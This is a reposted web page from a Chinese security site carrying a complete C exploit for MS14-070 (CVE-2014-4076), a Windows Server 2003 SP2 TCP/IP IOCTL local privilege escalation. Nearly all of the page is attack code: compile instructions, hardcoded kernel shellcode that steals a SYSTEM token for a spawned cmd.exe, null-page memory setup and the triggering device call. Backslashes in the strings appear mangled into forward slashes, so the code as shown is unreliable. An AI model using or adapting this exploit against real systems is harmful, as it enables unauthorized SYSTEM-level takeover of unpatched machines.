Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)

没穿底裤 2020年1月1日05:21:26评论374 views字数 9851阅读32分50秒阅读模式
/* ################################################################ # Exploit Title: Windows 2k3 SP2 TCP/IP IOCTL Privilege Escalation (MS14-070) # Date: 2015-08-10 # Exploit Author: Tomislav Paskalev # Vulnerable Software: #   Windows 2003 SP2 x86 #   Windows 2003 SP2 x86-64 #   Windows 2003 SP2 IA-64 # Supported vulnerable software: #   Windows 2003 SP2 x86 # Tested on: #   Windows 2003 SP2 x86 EN # CVE ID:   2014-4076 # OSVDB-ID: 114532 ################################################################ # Vulnerability description: #   Windows TCP/IP stack (tcpip.sys, tcpip6.sys) fails to #   properly handle objects in memory during IOCTL processing. #   By crafting an input buffer that will be passed to the TCP #   device through the DeviceIoControlFile() function, it is #   possible to trigger a vulnerability that would allow an #   attacker to elevate privileges. #   An attacker who successfully exploited this vulnerability #   could run arbitrary code in kernel mode (i.e. with SYSTEM #   privileges). ################################################################ # Exploit notes: #   Privileged shell execution: #     - the SYSTEM shell will spawn within the existing shell #       (i.e. exploit usable via a remote shell) #       - upon exiting the SYSTEM shell, the parent process #         will become unresponsive/hang #   Exploit compiling: #     - # i586-mingw32msvc-gcc MS14-070.c -o MS14-070.exe #   Exploit prerequisites: #     - low privilege access to the target (remote shell or RDP) #     - target not patched (KB2989935 not installed) ################################################################ # Patch: #   https://www.microsoft.com/en-us/download/details.aspx?id=44646 ################################################################ # Thanks to: #   KoreLogic (Python PoC) #   ChiChou (C++ PoC) ################################################################ # References: #   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4076 #   https://technet.microsoft.com/library/security/ms14-070 #   https://www.exploit-db.com/exploits/35936/ #   https://github.com/ChiChou/CVE-2014-4076/blob/master/CVE-2014-4076/CVE-2014-4076.cpp #   https://www.osronline.com/article.cfm?article=229 ################################################################ */     #include <windows.h> #include <stdio.h> #include <stdlib.h> #include <string.h>         typedef enum _SYSTEM_INFORMATION_CLASS {         SystemBasicInformation                = 0,         SystemPerformanceInformation          = 2,         SystemTimeOfDayInformation            = 3,         SystemProcessInformation              = 5,         SystemProcessorPerformanceInformation = 8,         SystemInterruptInformation            = 23,         SystemExceptionInformation            = 33,         SystemRegistryQuotaInformation        = 37,         SystemLookasideInformation            = 45 } SYSTEM_INFORMATION_CLASS;     typedef DWORD NTSTATUS; NTSTATUS WINAPI NtQuerySystemInformation (         SYSTEM_INFORMATION_CLASS   SystemInformationClass,         PVOID                      SystemInformation,         ULONG                      SystemInformationLength,         PULONG                     ReturnLength );     typedef struct _IO_STATUS_BLOCK {         union {                 NTSTATUS           Status;                 PVOID              Pointer;         };         ULONG_PTR                  Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;     typedef void (WINAPI * PIO_APC_ROUTINE) (PVOID, PIO_STATUS_BLOCK, ULONG);     NTSTATUS (WINAPI *ZwAllocateVirtualMemory) (         HANDLE                     ProcessHandle,         PVOID                      *BaseAddress,         ULONG_PTR                  ZeroBits,         PSIZE_T                    RegionSize,         ULONG                      AllocationType,         ULONG                      Protect );     NTSTATUS (WINAPI *ZwDeviceIoControlFile) (         HANDLE                     FileHandle,         PVOID                      ApcContext,         PIO_STATUS_BLOCK           IoStatusBlock,         ULONG                      IoControlCode,         PVOID                      InputBuffer,         ULONG                      InputBufferLength,         PVOID                      OutputBuffer,         ULONG                      OutputBufferLength );         BOOL WINAPI CreateNewCmdProcess (STARTUPINFO *startupInformation, PROCESS_INFORMATION *processInformation) {         ZeroMemory (&startupInformation[0], sizeof (STARTUPINFO));         startupInformation->cb = sizeof (STARTUPINFO);         ZeroMemory (&processInformation[0], sizeof (PROCESS_INFORMATION));           // Start the child process.         return CreateProcess (                 NULL,                                                           // No module name (use command line)                 "c://windows//system32//cmd.exe /K cd c://windows//system32",   // Start cmd.exe                 NULL,                                                           // Process handle not inheritable                 NULL,                                                           // Thread handle not inheritable                 TRUE,                                                           // Set handle inheritance to TRUE                 0,                                                              // No creation flags                 NULL,                                                           // Use parent's environment block                 NULL,                                                           // Use parent's starting directory                 &startupInformation[0],                                         // Pointer to STARTUPINFO structure                 &processInformation[0]                                          // Pointer to PROCESS_INFORMATION structure         ); }         unsigned long SwapBytes (unsigned long inputByteUL) {         return (((inputByteUL&0x000000FF) << 24) + ((inputByteUL&0x0000FF00) << 8) +         ((inputByteUL&0x00FF0000) >> 8) + ((inputByteUL&0xFF000000) >> 24)); }         BOOL WriteToAllocMem (unsigned char *exploitBuffer, unsigned char *shellcode) {         int returnAllocMemValue1, returnAllocMemValue2, returnAllocMemValue3, returnAllocMemValue4, returnAllocMemValue5;           returnAllocMemValue1 = WriteProcessMemory (                 (HANDLE) 0xFFFFFFFF,                 (LPVOID) 0x28,                 "/x87/xff/xff/x38",                 4,                 NULL         );         returnAllocMemValue2 = WriteProcessMemory (                 (HANDLE) 0xFFFFFFFF,                 (LPVOID) 0x38,                 "/x00/x00",                 2,                 NULL         );         returnAllocMemValue3 = WriteProcessMemory (                 (HANDLE) 0xFFFFFFFF,                 (LPVOID) 0x1100,                 &exploitBuffer[0],                 32,                 NULL         );         returnAllocMemValue4 = WriteProcessMemory (                 (HANDLE) 0xFFFFFFFF,                 (LPVOID) 0x2b,                 "/x00/x00",                 2,                 NULL         );         returnAllocMemValue5 = WriteProcessMemory (                 (HANDLE) 0xFFFFFFFF,                 (LPVOID) 0x2000,                 &shellcode[0],                 96,                 NULL         );           if (returnAllocMemValue1 == 0 ||         returnAllocMemValue2 == 0 ||         returnAllocMemValue3 == 0 ||         returnAllocMemValue4 == 0 ||         returnAllocMemValue5 == 0)                 return FALSE;         else                 return TRUE; }         int main (void) {         fprintf (stderr, "[*] MS14-070 (CVE-2014-4076) x86/n");         fprintf (stderr, "    [*] by Tomislav Paskalev/n");         fflush (stderr);             ////////////////////////////////         // CREATE NEW CME.EXE PROCESS         ////////////////////////////////           STARTUPINFO *startupInformation = (STARTUPINFO *) malloc (sizeof (STARTUPINFO));         PROCESS_INFORMATION *processInformation = (PROCESS_INFORMATION *) malloc (sizeof (PROCESS_INFORMATION));           if (!CreateNewCmdProcess (&startupInformation[0], &processInformation[0]))         {                 fprintf (stderr, "[-] Creating a new process failed/n");                 fprintf (stderr, "    [*] Error code   : %d/n", GetLastError());                 fflush (stderr);                 ExitProcess (1);         }           fprintf (stderr, "[+] Created a new cmd.exe process/n");         fflush (stderr);             ////////////////////////////////         // CONVERT PID TO HEX LE         ////////////////////////////////           unsigned long pidLittleEndian = SwapBytes ((unsigned long) processInformation->dwProcessId);         fprintf (stderr, "    [*] PID [dec]    :   %#8lu/n", (unsigned long) processInformation->dwProcessId);         fprintf (stderr, "    [*] PID [hex]    : %#010x/n", (unsigned long) processInformation->dwProcessId);         fprintf (stderr, "    [*] PID [hex LE] : %#010x/n", pidLittleEndian);           /*four bytes of hex = 8 characters, plus NULL terminator*/         unsigned char pidLittleEndianString[9];           sprintf (&pidLittleEndianString[0], "%04x", pidLittleEndian);             ////////////////////////////////         // CREATE SHELLCODE         ////////////////////////////////           unsigned char exploitBuffer[] =         "/x00/x04/x00/x00/x00/x00/x00/x00/x00/x02/x00/x00/x00/x02/x00/x00"         "/x22/x00/x00/x00/x04/x00/x00/x00/x00/x00/x01/x00/x00/x00/x00/x00";         unsigned char shellcode[] =         "/x60/x64/xA1/x24/x01/x00/x00/x8B/x40/x38/x50/xBB/x04/x00/x00/x00"         "/x8B/x80/x98/x00/x00/x00/x2D/x98/x00/x00/x00/x39/x98/x94/x00/x00"         "/x00/x75/xED/x8B/xB8/xD8/x00/x00/x00/x83/xE7/xF8/x58/xBB/x41/x41"         "/x41/x41/x8B/x80/x98/x00/x00/x00/x2D/x98/x00/x00/x00/x39/x98/x94"         "/x00/x00/x00/x75/xED/x89/xB8/xD8/x00/x00/x00/x61/xBA/x11/x11/x11"         "/x11/xB9/x22/x22/x22/x22/xB8/x3B/x00/x00/x00/x8E/xE0/x0F/x35/x00";           int counter;         for (counter = 0; counter < 4; counter++)         {                 char buffer[3] = {pidLittleEndianString[counter * 2], pidLittleEndianString[(counter * 2) + 1], 0};                 shellcode[46 + counter] = strtol (buffer, NULL, 16);         }           shellcode[77] = strtol ("39", NULL, 16);         shellcode[78] = strtol ("ff", NULL, 16);         shellcode[79] = strtol ("a2", NULL, 16);         shellcode[80] = strtol ("ba", NULL, 16);           shellcode[82] = strtol ("0", NULL, 16);         shellcode[83] = strtol ("0", NULL, 16);         shellcode[84] = strtol ("0", NULL, 16);         shellcode[85] = strtol ("0", NULL, 16);           fprintf (stderr, "[+] Modified shellcode/n");         fflush (stderr);             ////////////////////////////////         // CREATE HANDLE ON TCPIP.SYS         ////////////////////////////////           HANDLE tcpIPDeviceHandle = CreateFileA (                 "////.//Tcp",                 0,                 0,                 NULL,                 OPEN_EXISTING,                 0,                 NULL         );           if (tcpIPDeviceHandle == INVALID_HANDLE_VALUE)         {                 printf ("[-] Opening TCP/IP I/O dev failed/n");                 printf ("    [*] Error code   : %d/n", GetLastError());                 ExitProcess (1);         }           fprintf (stderr, "[+] Opened TCP/IP I/O device/n");         fflush (stderr);             ////////////////////////////////         // ALLOCATE MEMORY - FIRST PAGE         ////////////////////////////////           FARPROC ZwAllocateVirtualMemory;           ZwAllocateVirtualMemory = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwAllocateVirtualMemory");           fprintf (stderr, "[*] ntdll.dll address: 0x%p/n", ZwAllocateVirtualMemory);         fflush (stderr);           NTSTATUS AllocMemReturnCode;         ULONG BaseAddress = 0x1000, RegionSize = 0x4000;           AllocMemReturnCode = ZwAllocateVirtualMemory (                 (HANDLE) 0xFFFFFFFF,                 &BaseAddress,                 0,                 &RegionSize,                 MEM_COMMIT | MEM_RESERVE,                 PAGE_EXECUTE_READWRITE         );           if (AllocMemReturnCode != 0)         {                 printf ("[-] Allocating memory failed/n");                 printf ("    [*] Error code   : %#X/n", AllocMemReturnCode);                 ExitProcess (1);         }           fprintf (stderr, "[+] Allocated memory/n");         fprintf (stderr, "    [*] BaseAddress  : 0x%p/n", BaseAddress);         fprintf (stderr, "    [*] RegionSize   : %#010x/n", RegionSize);         fflush (stderr);             ////////////////////////////////         // WRITE EXPLOIT TO PROCESS MEM         ////////////////////////////////           fprintf (stderr, "[*] Writing exploit.../n");         fflush (stderr);           if (!WriteToAllocMem (&exploitBuffer[0], &shellcode[0]))         {                 fprintf (stderr, "    [-] Failed to write to memory/n");                 fprintf (stderr, "        [*] Err code : %d/n", GetLastError ());                 fflush (stderr);                 ExitProcess (1);         }         else         {                 fprintf (stderr, "    [+] done/n");                 fflush (stderr);         }             ////////////////////////////////         // SEND EXPLOIT TO TCPIP.SYS         ////////////////////////////////           fprintf (stderr, "[*] Spawning SYSTEM shell.../n");         fprintf (stderr, "    [*] Parent proc hangs on exit/n");         fflush (stderr);           FARPROC ZwDeviceIoControlFile;         NTSTATUS DevIoCtrlReturnCode;         ULONG ioStatus = 8;           ZwDeviceIoControlFile = GetProcAddress (GetModuleHandle ("NTDLL.DLL"), "ZwDeviceIoControlFile");           DevIoCtrlReturnCode = ZwDeviceIoControlFile (                 tcpIPDeviceHandle,                 NULL,                 NULL,                 NULL,                 (PIO_STATUS_BLOCK) &ioStatus,                 0x00120028,                                //Device: NETWORK (0x12)                                                         //Function: 0xa                                                         //Access: FILE_ANY_ACCESS                                                         //Method: METHOD_BUFFERED                 (PVOID) 0x1100,                                //NULL,                //Test                 32,                                        //0,                //Test                 NULL,                 0         );           if (DevIoCtrlReturnCode != 0)         {                 fprintf (stderr, "    [-] Exploit failed (->TCP/IP)/n");                 fprintf (stderr, "        [*] Err code : %d/n", GetLastError ());                 fflush (stderr);                 ExitProcess (1);         }             ////////////////////////////////         // WAIT FOR CHILD PROCESS; EXIT         ////////////////////////////////           // Wait until child process exits.         WaitForSingleObject (processInformation->hProcess, INFINITE);           fprintf (stderr, "[*] Exiting SYSTEM shell.../n");         fflush (stderr);           // Close process and thread handles.         CloseHandle (tcpIPDeviceHandle);         CloseHandle (processInformation->hProcess);         CloseHandle (processInformation->hThread);           return 1; }

Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
没穿底裤
  • 本文由 发表于 2020年1月1日05:21:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Windows 2k3 SP2 - TCP/IP IOCTL Privilege Escalation (MS14-070)https://cn-sec.com/archives/76492.html

发表评论

匿名网友 填写信息